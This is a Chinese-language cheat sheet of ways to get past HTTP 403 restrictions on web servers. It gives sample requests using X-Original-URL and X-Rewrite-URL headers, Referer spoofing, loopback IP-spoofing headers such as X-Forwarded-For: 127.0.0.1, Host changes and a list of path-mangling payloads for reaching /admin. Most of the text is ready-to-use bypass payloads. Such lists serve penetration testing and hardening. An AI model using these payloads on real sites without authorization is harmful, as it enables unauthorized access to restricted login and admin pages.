一些绕过403的姿势

扫描主机端口，找其它开放web服务的端口；访问其端口。

把host值修改为子域名或者ip来绕过。

尝试使用 X-Original-URL 和 X-Rewrite-URL 标头绕过 Web 服务器的限制。

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden

  Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response
  HTTP/1.1 200 OK

  or

  Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK

尝试使用 Referer 标头绕过 Web 服务器的限制。

介绍：Referer 请求头包含了当前请求页面的来源页面的地址，即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

or

Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

一般开发者会通过 Nginx 代理识别访问端 IP 限制对接口的访问，尝试使用 X-Forwarded-For、X-Forwared-Host 等标头绕过 Web 服务器的限制。

 X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

示例：

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized

Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK

基于扩展名，用于绕过 403 受限制的目录。

site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200

参考：https://www.wangan.com/articles/2483